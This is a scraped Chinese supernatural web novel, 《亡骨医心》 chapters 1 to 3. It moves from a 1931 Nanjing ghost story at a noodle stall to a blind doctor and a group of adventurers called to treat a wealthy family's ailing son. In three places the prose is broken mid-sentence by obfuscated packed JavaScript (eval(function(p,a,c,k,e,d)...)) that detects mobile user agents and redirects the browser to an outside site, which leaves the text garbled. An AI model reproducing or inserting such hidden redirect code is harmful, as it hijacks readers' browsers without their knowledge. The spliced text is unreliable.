《亡骨医心》 1. 第一章 冬夜诡事 1931年的一个冬夜,第一场雪刚刚下过,月光一照,整座南京城都被镀上了一层白金色。雪落下来便不再是洁白的雪了,它和地上的土混成黑色的泥,搅在来往路人的鞋底上。 大约是雪后路难行的缘故,一向热闹的老城南今夜也没有了以往的热闹,素日里这个时间还在走街串巷的小贩今夜早早便收了摊儿,整条街都十分冷清。 眼见街上的人越来越稀,往来匆忙也不作停留,老刘决定今天早些收摊,明日再早些出摊。灶台上的一口锅盖刚被老刘盖上,一阵马蹄和木制车轮的吱呀声便由远及近,停在老刘摊前。 “请问店家,陈家公馆怎么走?” 马车前侧坐着的车夫穿一身灰布短衫,一只穿着黑布鞋的脚蹬在脚踏上,正伸长了脖子朝老刘的方向探问。 “陈公馆啊,走反啦!”老刘手底下收摊的动作并未因为有人问路而慢下来,“掉个头,一直往前头走,到第二个口子哪儿朝右拐,陈公馆在右拐的那个路对过儿,阿晓得啦?” “晓得啦!”那赶车的车夫先有样学样接上一嘴话,随后便要拉着缰绳掉头。 “慢着。” 马车的帘子被一只纤长白皙的手轻轻撩开,极温和的女声从里面传来,“赶了一路,舟车劳顿,先下来吃些东西吧。” 车夫闻言,赶忙从身侧抽出一个垫脚凳来,随后又扶着里面的人下车。 “店家可是要收摊儿了?” 下了车的女人在老刘的摊前站定,老刘这才看仔细来人的面孔: 这女子看起来四十左右,却极有风韵。她穿着一件白毛领浅紫色缎面大氅,脚上踩着一双新式高跟女靴。耳边各坠着一只水滴形的碧色玉耳环,白皙的手腕上一只翡翠镯子看起来价值不菲。 “是要收了,原想着今天没什么客人嘛。现下既然来了客,迟些收也无妨,您看想吃点什么?” 老刘是个利索人,嘴上这么应着,手底下已经掏出了两只粗瓷碗,又往灶台里添了一把柴,掀开了本已经盖上的大锅盖。 “您这儿的招牌是什么,便来上两碗吧。” 那女子的语气极轻和,说话时,她一双杏眼看着对方,只叫与之交谈者如沐春风。 “好勒,我这儿的招牌是阳春面,刚落了雪,您来上一碗也算赶巧了,吃了暖和。” 女子极浅地笑了笑,伸手将钱放在了老刘的灶台旁。 老刘顺手拿起来,却觉得分量比往常重上许多,定睛一看,竟是四块大银元。他顿时觉得惶恐,刚要连连摆手拒绝,却被对方打断。 “冬夜天寒路长,一路走来连充饥的地界都没遇上几个。您本来该回家了,这银元全当是寒夜里的辛苦费,无需推辞,收下吧。” 老刘家里还有三个孩子要养,闻言,犹豫着收下钱,又连声招呼着来人坐下,手底下的动作又快了许多。 不消半刻,两碗热气腾腾的面便被分别端上了两张老旧的木头方桌——赶车的伙计并不与那女子同坐一桌,也没有多余的攀谈。 老刘心想,估摸是东家和伙计的关系,同坐一桌怕会坏了规矩吧。 说也奇怪,面端上了桌,那女子却并不吃。她将一碗面轻轻放在脚下,然后从大氅的袖子里拿出一只簪子形状的物件,在木桌上飞快的刻画着什么。 老刘原本对此颇有微词:若是嫌这面低贱或难吃,大可以一口都不吃原封放着,何必把它放在脚下糟蹋东西呢? 再说他那几张用了十几年的老方桌,那就跟老伙计一样,虽然桌面早已经凹凸不平了,可也不该被这富贵太太的簪子这样划拉呀。 他本是想说点什么的,可想到那四块沉甸甸的银元,他又把到嘴边的话咽了回去。在心里头对自己说,多付了钱的,随她去吧。 一转眼,车夫的面碗已经见底了,他用灰布衫的袖子揩了揩嘴,哆嗦着回到了马车边。 “老板,再会。” 女子上车前,留下这么一句话,老刘只当是客套,也连声应和着再会再会。 收碗时,老刘却被吓了一跳—— 那被女子放在脚边的碗此刻正正放在小桌前,里面的面和面汤都已经不见了。 那两人吃饭的小桌正对着老刘的灶台,他全程一直看着的,那女人从头到尾绝没有吃过一口。那女子上车时,老刘还曾瞥了一眼,那碗那时候分明还在地上放着的。 老刘使劲儿揉了揉眼睛,怀疑自己是不是出现了幻觉,可碗壁上挂着的油花却又实实在在地证明这碗里曾盛着一碗面。 饶是老刘已经年过五旬,卖阳春面少说也有三十余载,眼下真的碰见这样邪门的事儿,心里也难免七上八下。 时逢乱世,按照老道仙的说法,乱世出英雄,然而乱世亦是百鬼夜行群妖出没的世道。再想起前不久日本人强占了东北,老道仙说枉死在日本人手下的冤魂会顺着陆路水道回到故乡,老刘心里直犯嘀咕。 他不知今夜这怪事究竟是碰到了妖魔鬼怪,还是碰到了哪位冤死的可怜同胞。若是后者还好说,若是前者…老刘忍不住打了个寒颤,手下的动作越发快了起来。 许是快中出错,也许是心里想这事儿,眼见还剩最后一只落在灶台后面的瓷碗没收起来,却听得“咣当”一声,粗瓷碗在地上摔成了五六瓣。 老刘叹了口气,新添一只碗原也要不了多少钱,可到底是因为自己手下出了错才摔碎的,他懊恼极了。 这只碎碗拿回去看看,说不定还有什么用呢。这么想着,老刘半趴在地上,伸着手把碎瓷片往自己这头扒。 这时间已经没什么人了,今夜连点儿风都没有,现下这街上,老刘只能听见自己的呼吸声。 那几片碎瓷还剩一片怎么都够不出来,老刘歇了一会儿,本想起身寻根长枝子把它捞过来,却蓦地发现不知什么时候有了另一个人的呼吸。 老刘以为是来了客,心下疑道这客人怎么走起路来一点儿声音都没有,却还是一骨碌爬起来准备招呼。 “您要吃点儿什么吗?”老刘操着口音问。 来人是个年轻小伙子,看上去二十出头。他苦着一张脸,身上穿着黑色中山装,脸色灰白得不像话。 “我要回家。”年轻人木木然开口,却是答非所问。 “看你年纪也不大,迷路了伐?你家在哪儿?”老刘试图少一些口音。 “我要回家。”年轻人机械地重复着这四个字,对于老刘的问题,却置若罔闻。 “坐下来,先坐下来。” 老刘觉得眼前的年轻人只怕是发了什么发癔症,身旁又没有其他人,只得先让他坐下。老刘两只手在衣角上擦了擦,去扶这年轻人,眼睛顺便向下一瞥—— 这个“站着”的年轻人没有双腿,他下半身两条黑色的裤管像是被什么东西撕裂了,只剩下半截。那剩下的上半截漂浮在空中,底下是空的,什么也没有。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564251|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼把老刘看得魂飞魄散,想要跑却怎么也迈不开腿,那年轻人又重复了一句“我要回家”,老刘看他的脸色也不像活人,便当即晕死过去。 “这办的是什么事儿!非但没让他们相见,还牵连到了无辜者!” 老刘半梦半醒间,听到一个男人责备的声音。 “师哥,先救人吧,救了人听凭你处置。” 女人的声音带着些哀求,老刘听着耳熟,细细一想,是晚上遇到的那个富太太。他想努力睁眼看清楚发生了什么,却怎么都醒不过来。 一阵香气扑鼻而来,老刘的意识又沉了下去。再醒来时,已经日上三竿,老刘躺在自己家炕上。 “醒啦!醒啦!”叫着的,是老刘的媳妇儿菊英。 菊英是个小脚女人,一辈子没经历过什么大阵仗,除了自己平日里做点针线活儿补贴家用外,全指着老刘那个小面摊过活。 原本老刘几天不见下落,家里还有口米和菜,为着孩子,菊英还算镇定。两天前,一男一女坐着辆小轿车把老刘送回来,一见着伏在男人背上昏迷不醒的老刘,菊英腿都软了下来。 下车那位富太太模样的女人心好,眼疾手快扶了菊英一把,又说了好些宽慰的话。菊英这才知道,下过雪,天寒路滑,老刘不小心摔了一跤,跌断了几根骨头,被这两位路过救下,这才耽搁了几天没回家。 菊英这样给老刘转述着,一只手给老刘喂着药,嘴里止不住地夸:“那两位真是大好人,你治病的钱一分不要,还又多留了几副药,教我怎么煎、怎么喂给你吃,真是老天爷显灵,难得一见的大好人!” 老刘一口一口吞着药,并不说话,那天晚上空了的面碗、没有腿的年轻人还历历在目,他心里害怕,却又不敢给菊英说——他这媳妇儿的胆子比他还小。 “人呢?”吃完药好半天,老刘才冒出这么一句。 菊英愣了一下,很快便反应过来他是在问送他回来的那一男一女,“人早走了,我说留人家吃个饭,人家也不肯,反过来说给咱添麻烦了,你说说…” 菊英后边儿还碎碎念着什么,老刘却已听不进去了,他断定那晚吃面的女人和这件事有关,他甚至觉得那一男一女都不是人。 又过了三天,老刘实在闲不住了,决定出摊儿。说也奇怪,那两人给菊英说老刘跌断了一双腿,老刘却并没觉得自己的腿有任何不适。 常言道伤筋动骨一百天,老刘喝了那两人留下来的几副汤药,区区几天便能正常下床活动了。那一男一女老刘和菊英没再见过,也没再遇见什么怪事儿。 三年后,老刘偶然遇到一个逃荒时丧父丧母的孩子。他小时候也是吃百家饭长大的,见这孩子实在可怜,和菊英一商量,便都觉得“无非也就多张嘴的事儿,我少吃一口,这饭不就省出来一口”。 夫妻俩这么想着,便收养了他,这孩子除了一只手和一只脚都是六指外,和常人并无分别。 老刘的面摊自收养这孩子之后越做越红火,到最后,竟真的凭着一碗阳春面开成了一座小酒楼;他亲生的三个孩子各有出息,和收养的那个也是相亲相爱,老刘这日子年过半百才算有点盼头。 “那孩子是来还债,债还清了,就该走了。”老道仙临终时,凭着一口气给前来探望的老刘这样说。 自此以后,老刘心里埋下一颗惴惴不安的种子,生怕哪天老道仙一语成谶。可种子最终还是发了芽,当然,这已是后话了。 2. 第二章 求医 七月中,刚入伏。从东南沿海出发,向西北去,这条对角线的一端是桑拿房,另一端是大火炉,沿线没有几处是不热的。 “大侄子!等你好久了!”出站口,一个胖男人背着他的大包还没站稳,就见一个精瘦精瘦的灰汗衫朝自己扑过来。 “去你大爷的郑九斤。”胖子一把推开灰汗衫,“一天到晚净他娘占我便宜。” 灰汗衫爽朗地笑着,转而又接过胖男人身边那人的背包,“我怎么瞅着凌子又长个儿了?“ “嗯,那边水好气候好,长个儿也正常。”被称为凌子的男人应和着拉开眼前金杯的车门,一步跨到了车里已经破开皮的座位上坐着。 “坐稳了哈,咱不歇着,直接到巴那。”郑九斤颇为熟练地把背包扔上后座,转动钥匙发车。 “直接去巴那?”胖子哀嚎着,“不先吃牛肉粉汤再走?” “吃什么粉汤,那头儿的事儿催得急,到地儿再吃吧。”老郑开车从来求快不求稳,他最后一个字落下,金杯也应声“嗖”地窜了出去。 巴那是甘肃和青海交界处的一个小县城,县城地界不大,却杂居着好几个民族,有汉族、裕固族,也有回族和藏族。 从胖子他们下车的张掖到巴那,车程近四个小时,胖子怕老郑分心,一路上和老郑从天南聊到海北。后排坐着的人还是戴着自己的耳机,什么话也不说。 “我说,车不行就别开那么快。”胖子一下车,扶着门干呕——老郑的金杯跟着他走南闯北快二十年了,到目的地的时候,胖子觉得自己快被颠散架了。 “得了吧,你人不行怪路不平。”老郑拔钥匙的空档翻了个白眼,“你看凌子,一点事儿都没有。” 金杯停在巴那一个老客运站入口处,按照老郑的说法是受雇主所托,来此迎一个重量级人物。 快到中午了,日头越来越毒,客运站一波一波的人往来,老郑瞪着圆眼盯一会儿照片又看一会儿客运站,始终不见有长相一样的人前来。 “不会走岔了吧,这儿还有别的站吗?”胖子问。 “不可能,这儿就一个客运站,宋老板说他在这儿下他就一定在这儿下。” 金杯的空调老早就坏了,胖子抹一把寸头上的汗,正打算开始对老郑输出怨气,却被一阵嘈杂声吸引走了注意力。 “小妹妹,一个人来啊?去哪儿哥送你呗,不要钱。”——瘦的跟竹竿儿一样的小青年染着一头橙红色的头发,一只手插在铆钉破洞牛仔裤的兜里,另一只手还夹着一支细长的烟。 姜泠起初并不在意这种无聊的搭讪,可这人不依不饶跟着她,甚至挡住了她的去路。 “劳驾让一下,急着赶路。”姜泠倒不害怕,只是不想被耽误时间。 “赶什么路啊妹妹,哥哥送你去你要去的地方。”小青年夹着烟的手朝姜泠伸过来,姜泠微微侧身,躲开了那只手。 “哟呵,不想坐哥哥的车走呗。”那小青年把烟往旁边一摔,嗓门猛地提高了几度,引得周围人纷纷侧目。 “坐车?”姜泠面无表情问,“什么车,你的鬼火摩托?” 周围有人听到这句话,扑哧一声笑出来,小青年脸上青红白三色交替了一阵,便立刻翻了脸。 “敬酒不吃吃罚酒哈?”他做了一个撸袖子的假动作,往路旁吐了口痰,又朝着围观的人叫骂着,“看看看,看你娘呢看!再看老子连你一块儿收拾!” 原本周围人并不以为意,可眼下看见这红毛急眼了,从兜里掏出一把折叠刀,众人怕波及到自己,火速散去。 姜泠已经为红毛想好了一个绝妙的倒地姿势,可还不等她自己动手,就听见一个男人的声音传来:“欺负姑娘可不算什么本事。” 这声音清冽又好听,姜泠微微侧着头,心里这样想着。 “就是就是,小崽子,欺负人小姑娘算什么本事!”胖子哼哧哼哧跟上来,还连带着在红毛身上补了一脚。 “哥哥哥饶命饶命,手要断了。”红毛哀嚎着,嵌着他手的人却并不打算就此放过他。 “你不是挺喜欢刀吗?拿着刀威胁人的样子可比现在要有意思的多。” “那就一破折叠的,刃都没开,我就吓唬吓唬这妞儿…诶不是不是,吓唬吓唬这个姑娘。” 红毛的手被男人钳到后面,那人稍一使劲儿,他便觉得自己眼冒金星。为了不忍受那种快要筋断骨折的痛,红毛也不管面前站的是谁,只忙不迭告饶: “姐姐我错了,姑娘我错了,我真错了,我不该没事找事烂你的去路,我以后不会了不会了…”说着,又换了个方向继续讨饶,“哥我真知道错了,真知道错了,我就开个玩笑,您饶了我吧…” “你看呢?” “既然道歉了,得饶人处且饶人。”姜泠淡淡开口。 “姑娘原谅你了,我也没有抓着不放的道理。” 男人猛地松开手,红毛被惯性摔了个趔趄。他也顾不得多说什么,连滚带爬跑路了。 “谢谢。”姜泠语气平淡,听不出什么感情,但对她而言已经是十分难得又真诚的一句话了。 “不用谢!见义勇为是应该的!”胖男人抢先一步回答,一转眼却看见老郑朝他们挥手——那意思是,人接到了,快走。 “姑娘,你自己注意安全啊,我们先走了,还有大事儿要办呢。”胖子说着就去拉身边的男人。 “好,多谢。”姜泠又道了一遍谢。 “等等。”那男人却又拦住了她,“你去哪儿,我们有车,送你一程吧。” “祖宗们,别墨迹了,十二点半了,快走快走!”老郑一路小碎步跑来,催促着两个人。 “去韩家大院。”姜泠听到十二点半,心下一动,她知道时间已经耽误了不少,于是决定搭个顺风车,“如果诸位方便的话,劳驾载我一程,我可以付车费。” “韩家大院?”老郑闻言,对着姜泠上下打量了一圈,问道,“姑娘也去韩家大院?” “是,听您这话头的意思是,你们的目的地也是那儿?” “那刚好顺路,走吧诸位。”老郑一挥手,痛快应下。 出于绅士风度,胖子先给姜泠拉开了车门,姜泠在车门前顿了一下,举动轻微,却被先前帮她的人看在眼里。 “小心,有点高。”那人说着,轻轻抽了一把姜泠的胳膊,看她坐定了,才一步跨上去在她旁边坐下,“我叫凌岓,两点水的凌,岓是山字旁一个斤两的斤。” “姜泠,生姜的姜,三点水的泠。” “我叫之子丹,甄子丹那个子丹。”胖子也赶紧自我介绍道,“咱这个司机,老郑,郑九斤,生下来就有九斤重。” “我们都叫他大侄子。”老郑娴熟地翻着白眼。 姜泠目不斜视,极为礼貌的点了点头以示了解。 “在下洪钟,声如洪钟的洪钟。” 车后排猝然响起一道声音,众人这才注意到那位“重量级人物”的存在。 “洪钟,洪钟好啊。”胖子敷衍地应和着,转而又好奇地看向姜泠,“姑娘,你去韩家大院,那就是也接到了邀请去找东西?” “他们家人要求医。”姜泠穿着一身青衫白裙,一支白色的簪子挽起一个松松的发髻,她回答时,车窗外的风掀起鬓边一缕碎发,好看极了。 凌岓轻轻从她脚旁拾起一张被窗外风吹落的餐巾纸,见她还是无所动,心里的猜想便被证实了个七七八八。 巴那城中虽说各民族混居,但汉人并不多,一路走来,各民族的建筑各有特色,倒给人一种十分新奇的体验。 车行过离城中心最远的巴南街,便到了没什么人的小城边缘。再往前的路只能下车走过去,几个人便都收拾好东西下来了。 停车的路口有一个穿着黑衬衫的人等着,那样子像是韩家来接他们的人。果不其然,那人一见到众人,便摆出一个请的手势,“恭候诸位多时了。” 一行人跟着黑衬衫先是穿过一个琉璃牌坊,然后才看到韩家大院。韩家大院是古代大富大贵之家的外观,屋檐下面一个巨大的黑色牌匾,牌匾上是两个烫金大字“韩宅”,那两个字写的飘逸洒脱,像是出自某位性格豪放的书法家之手;门口蹲着两个石狮子,稍走近一点就能闻见两扇黑色大门散发着的淡淡香气。 黑衬衫轻轻扣一扣大门上的铜环,门便开了。 韩宅有两道门,最外头的黑色大门是第一道,过了那道门还要再跟着黑衬衫穿过两个回廊,绕过一个拱形石墙才走到第二扇门处。相比之下,第二扇门更有现代特色——是指纹锁。 进了二道门才算真正进了韩宅。要说这宅子确实气派:一进门先是一道长长的游廊。 游廊的一侧是种着各类不同花草的园子,现下正是七月,园子里的花开的格外好,花香浓的有些呛人,凌岓认出这其中好几种都不是本地能存活的品种,开的这么好,想必是花了大功夫的。 游廊另一侧是一面画着满壁神话的墙,那些画的风格很有敦煌的味道,和对着的花园甚是不搭。穿过游廊,先映入眼帘的是一座石头假山和一汪长满荷花的月牙形池塘,然后才是青瓦白墙、并排扎着的三栋房子。 “真奇怪。”洪钟小声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜泠把手收回来,从包里拿出一个造型精致的小木盒,又从木盒里拿出两颗绿豆大小的银色药丸,让韩琮的母亲用水冲和着喂他喝下。 这药似是有奇效,韩琮刚喝下去,脸上的青白色便退了一些,嘴里也不再念念叨叨了。 “姜大夫,我儿子他这算好了吗?”程秀见状,脸上难得露出一点笑容。 “不算。”姜泠直截了当,“他的病不难治,只是治的过程可能要长一些。” 姜泠说着,把木盒放在了程秀手上,“这些药,一天两粒和水服用,至少能保证他这一个月的平安。” “什…什么叫一个月的平安?”韩仲先闻言慌了神,赶忙问道。 “我会在这一个月里找到根治他病的药,他不会有事的。”话毕,姜泠便要挎着她的包往外走,临走时她又转身对程秀说,“一会儿烧就会退的,别太难过,照顾好自己才能照顾好病人。” 程秀鼻头一酸,道谢的话还没说出口,就见姜泠已经出门去了。她赶忙捣了捣身旁正看着儿子发呆的丈夫,“还不快去送送姜大夫,人家眼睛不方便。” “姜大夫,姜大夫等等。”韩仲先跟在后头喊住姜泠,还是一副急匆匆的模样,“我送送您。” “不必了,我记得路,不会摔着或者磕到的。”姜泠礼貌谢绝,却也知道来人的目的并不只是为了送送她,“您有话,就在这儿说吧。” “姜大夫,我儿子这到底是什么病?您说一个月,您说实话真的能治吗?”韩仲先说着,眼泪就要往下流,他就这么一个儿子,从小千万呵护着长大,怎么也不希望他出事。 “这病不常见,说了您也不了解。能治是一定能治的,只是我需要您告诉我,他生病之前发生的事情,越详细越好。” 韩仲先闻言一愣,赶忙道谢,“谢谢,谢谢姜大夫!这几个月,我几乎是带他跑遍了所有的好医院,找遍了所有的名医,中医西医,连风水先生我都找了,可都跟我说治不了。谢谢!谢谢您!只要您能治好,多少钱我都愿意…” “钱的事回头你跟我师弟去谈吧,只是有一点,救你儿子的关键在你们而不在我。”姜泠打断了韩仲先的许诺。 “这…这什么意思?是要我们献血还是捐赠器官?”韩仲先又紧张起来,赶忙问道。 “我刚说您要告诉我他生病之前发生的事,越详细越好。”姜泠重复了一遍,语气中听不出任何起伏,“必须是实话,不能有任何隐瞒。” “好。”韩仲先先是一愣,旋即像是下了什么大决心一般,“好!我一定实话实说,为了救琮儿,我一定实话实说!” 3. 第三章 写生 大理石桌面和韩仲先那副金丝眼镜一样亮,一盏砗磲并蒂莲花灯从顶上照下来,桌面都在反光。 “先给诸位相互介绍一下。这位是洪钟先生,京津一带著名的说书人。”韩仲先五指并拢朝向那位老郑嘴里的“重量级人物”,“都说这世上的事,没有洪先生不知道的,这次请您来,也是为了犬子的事。” 洪钟个子不高,干干瘦瘦,梳着一个油光水滑的背头,却因为发量不太多而看不太出来背头的痕迹。他穿着一身清末常见的短马褂,手里随时托着一盏快被盘包浆的鼻烟壶。 听见韩仲先这样介绍自己,洪钟有些做作地起身摆了摆手,嘴里说着“过奖,太过奖了”,嘴角却快要咧到耳根了。 “这位是郑九斤先生,听人说郑先生在西北一带挑货,各路人脉他都有,这次洪先生能来,也全是沾了郑先生的光。” 挑货,明面上是说做些不固定的小生意;可实际上,却是做着类似掮客、中介这样的差事。在这个行当里有句老话说,“小货一顿饭,大货半座城”,说的就是这行能带来的可观收入。 郑九斤是个孤儿,小时候吃百家饭长大,一张嘴能说会道;稍大一点,拜了一个走南闯北的民俗手艺人为师,时间久了,见过各行各业的人,也悟出了些和各色人等打交道的门窍。手艺人去世以后,为着多赚些钱,他便做了所谓的“挑夫”,赶上了挑货的行当。 “叫什么郑先生,老郑就行。”郑九斤不是没和高官富户打过交道,只是他从来认为自己不过是个市井小民,说话也没有这许多讲究。听韩仲先一口一个“郑先生”地叫,他倒先不自在起来了。 “这二位,之子丹先生,凌岓先生。”韩仲先有些讨好地看着坐在老郑身边的两个人。 “我俩就不用介绍了,在车上都说过。甄子丹的子丹,早些年在沙漠和高原上做向导,这两年也接团队去些难走的地方,别的本事没有,找路还是会一点儿的,大家叫我老之或者之胖都成。” 说着,胖男人站起身一抱拳,颇有几分江湖气息。许是因为短袖买小了,上面印着的红色五角星此刻被他撑得一点褶皱都没有,这让他看起来实在不像一个行万里路的向导。 “凌岓,擅长户外探险,也参与民间救援。”等胖子说完,他身边的人慢悠悠开口。 凌岓两句话背完简历,他像是生性不爱笑的斯拉夫人,无论说什么做什么,都不见他有什么表情。 他的穿着和他本人一样寡淡,常年一身黑,黑色的短袖、外套、工装裤、登山靴,如果不是他本人的肤色偏白的话,走在街上几乎和一块行走的煤炭没区别。 “这位是…” “姜泠,医生。”不等韩仲先说完,在他身旁一动不动的姑娘便开了口。 姜泠生得好看:鹅蛋脸、樱桃唇;一双凤眼又大又长,眼尾微微翘起,平添几分媚态;长长的睫毛更是为这双眼睛勾出了天生的眼线。她个子不高不矮,皮肤又白,像是从画里走下来的人。 姜泠平时总穿宽松的素色衣服,头发常年都是一个松松挽起的髻或是一个简简单单的低马尾;说起话来不快不慢,脸上也总一副平平淡淡的表情。原本娇媚的五官在她身上,却多了些清冷淡漠。 “这姑娘长的是真漂亮,只可惜不爱说话,眼睛也看不见。” 早在姜泠和韩仲先上楼看病的时候,老之就和凌岓说起了姜泠,得到的却是凌岓毫无幽默感的回应,“背后谈论别人不是好习惯,评价别人的外貌更不礼貌。” “该说您儿子的事情了。”等一圈人介绍完,姜泠直入主题。 “对对对,请各位来,就是为了救救我家这一根独苗儿。”韩仲先端起面前的青花瓷茶杯,吞了一大口茶水下肚,又清了清嗓子,这讲起了三个月前发生的事。 三个月前,十九岁的韩琮和同学结伴去西南山区写生,说是写生,实际上也是去旅游。 在同龄人眼里,韩琮是个很好的人,没有传说中富二代的恶习。人如其名,他人长得秀气,性格也像玉一样温和。 他从来不穿戴十分名贵的衣鞋饰品,也从来不仗着家里条件好而有任何高傲自大的态度。反之,他时常以不同的方式帮衬家里条件不大好的同学,遇到大扫除这种事情,也总会承担下又脏又累的一部分。 韩琮最大的爱好是画画,尽管不是美术专业的学生,他依然会抽空去各地写生。因为性格好,班里同学总叫韩琮“韩妈妈”,听说他要去西南写生,几个关系好的同学也自然愿意和他一起。 三男两女,五个年轻人计划在西南待两周。第一周去几个有名的城市和景点,瞧一瞧可可爱爱的国家保护动物;第二周再进山,一边探访山区的少数民族聚居地,一边看看西南的山水。 一直到第二周在羌寨民宿住下的前两天,一切都还顺利。变故在第三天降临——正是韩琮他们进山的那一天。 “山里和外头不一样,山里天气变化好大,你看着晴得很,转头就大暴雨。路又难走得很,莫去咯,危险。”临行前,民宿的老板曾试图拦着他们进山,理由很简单,近期天气不好。 “没事儿,您放心吧,只要是看见天阴了,我们立马掉头回。”五个人里,答话的男孩叫张朗,个子高高大大。 “要不然,下次再进山吧。”韩琮拉住张朗,跟他的伙伴们商量着。 “别介呀,来都来了,你来这趟不就为了进山采风嘛!”张朗天性喜欢刺激的事情,因为没进过山,他对老板的叮嘱满不在乎,见韩琮有些动摇,反而着急了起来,“咱又不忘深处走,只要天气变了,我们往回走就行了嘛。” “也是,来都来了,韩妈别犹豫啦。”另外几个同学闻言,也跟着向韩琮说情。 “那好吧,我们说好了,有任何不对就回来。”韩琮不得已,只好答应。 见他们执意要去,老板也只能无奈应允,又格外叮嘱他们,“要是看见下雨了,赶紧回来!” “放心!”张朗咧着一口白牙笑,从未想过这将是一场有去无回的旅途。 西南的山和西北的山不同。西南的山郁郁葱葱,一样望去是一片连绵的绿,山脉里生长着生命的气息;而西北的山底色是苍凉的,一些是由黄土沙石堆砌的,一些是由终年不化的雪组成的。 前半天十分顺利,万里无云的晴空更显得这片长满树的青山秀美无比。其他人都在拿着手机自拍,韩琮却夹着两只笔,匆匆在本子上画着什么。 正午刚过,几个人凑合着啃压缩饼干的时候,几片快速移动的流云挡住了太阳。韩琮抬头一看,觉得要下雨,便拉住其他几个人,决意回去。 “怕什么,这是多云天,不会下雨的。”张朗本就不同意回去,又见流云散去,太阳光重新倾泻下来,更觉得韩琮大惊小怪。 “我们该回去了。”又走了约莫二十分钟,韩琮觉得他们走的太深了,便提议回程。 “别嘛,现在才几点。再走走,两点半咱就回成吗?”张朗意犹未尽,不想这么轻易折返,“听说西南的山里有好多保护动物,说不定咱能碰上个金丝猴啥的。” “那万一碰上熊瞎子怎么办?”怯怯出声的是两个女生中的一个,她叫陈妍。 “怕什么,怎么胆子这么小。”另一个女生叫刘思畅,是张朗的女朋友,胆子和张朗一样大,“要回你们回,出来一趟不就是玩高兴嘛,走一半算什么!” “要走你们走,我们继续前进!”见有人赞同,张朗更是得意。 “你呢骡子?”张朗推了推一直不开口的男孩,语气里有些不耐烦。 “我还是和韩妈走吧。”这个叫“骡子”的男孩叫罗子轩,他带着一副眼镜,斯斯文文。 “那你们走,我俩继续前进!”说着,张朗就拉着刘思畅向前走去,全然不顾韩琮在后头的劝告。 一行人往回走了不到十分钟,突然毫无预兆地下起了暴雨。一道闪电,一声惊雷,不等山上的人反应,暴雨就砸了下来。 “快!快躲进洞!”雨滴砸在脸上生疼,看见不远处有个能容身的小洞,韩琮赶忙拉着另外两个人跑进去。 “韩妈,张朗他们怎么办。”进了洞,陈妍拉着韩琮的袖子小声问。 “雨太大了,等雨停了我们去找找。”韩琮看着洞外噼里啪啦的雨,心里祈祷着向前走的两人也能找到避雨的地方。 雨势太大,外表看起来十分坚固的山体渐渐有了松动。 “有东西掉下来了!”罗子轩习惯性推了推眼镜,指着洞外簌簌往下掉的土石和树木叫道。 “是泥石流!”韩琮说着,又把另外两个人往里推了推,他见过关于泥石流的报道,只是他不知道这一次的泥石流是可以逃过的劫难,还是会掩埋一切的大灾。 “轰”地一声巨响,一块巨石和一棵树顺着大量沙土泥水掉落下来,把三个学生藏身的洞口堵住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564253|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一半。 暴雨让身处其中的人忘记了时间。洞口的巨石虽然为洞里的人挡住了许多倾泻而下的泥沙,但等雨停时,原本能供两三个人一同进入的洞口,却成了一个只够一人佝着身子钻出去的小口了。 几个人钻出去,山外的面貌变了样,手机的信号全然没有了,来时的路也已经消失不见了。 “现在怎么办啊?”陈妍缩在后面,“我们要不哪都别去了,就在这儿等人来救我们吧。” “那张朗他们怎么办?”罗子轩问。 “我去找吧,你俩在这儿等着,别乱跑。我会一路做好标记。”韩琮看了看时间,“现在是两点,要是下午没回去,老板应该会报警的。” “我们还是一起走吧。”罗子轩不想待在这儿,“本来五个人就剩三个了,现在再分开就更不好找了。” 韩琮想想也对,三个人便一起寻找张朗和刘思畅的下落。 三个人凭着记忆向张朗他们离开的方向走,下过暴雨的山路湿滑,一不小心就有可能从上面摔下去。他们各自捡了一根长树枝作为拐杖,走了一段时间后,眼尖的陈妍率先发现不对—— “你们看,那个不是思畅的小熊嘛!”她的声音在发抖,手也是。 顺着她颤抖的指尖看过去,这条路下面一点的位置那儿,被泥沙掩盖的地方,露出一点粉色的东西。仔细看一看,那正是刘思畅背包上的小熊挂件。 “思畅他们不会已经…”陈妍说着,已经开始抽泣起来。 “绳子在不在你这儿?”韩琮努力让自己冷静下来,问罗子轩。 “在,在。”罗子轩赶忙从包里掏出一捆登山绳,“你要干嘛?” “我系在我要上,踩下去看看。” “别了吧,这一看就是刚滑坡的,太危险了。”罗子轩嘴里这样拦着,却还是老老实实把绳子递给了韩琮。 “你能拉住吗?”韩琮把绳子固定在自己的腰腹位置,“拉不住就绑在树上。” “绑树上,我俩也拉着,双重保险。”罗子轩不放心,见陈妍泪眼汪汪的样子,也不好苛责她什么,“你拉住了!要是有啥不对劲儿赶紧喊我,我们把你拽上来。” “放心。”韩琮说着,用树枝往后一撑,一点一点挪动着。 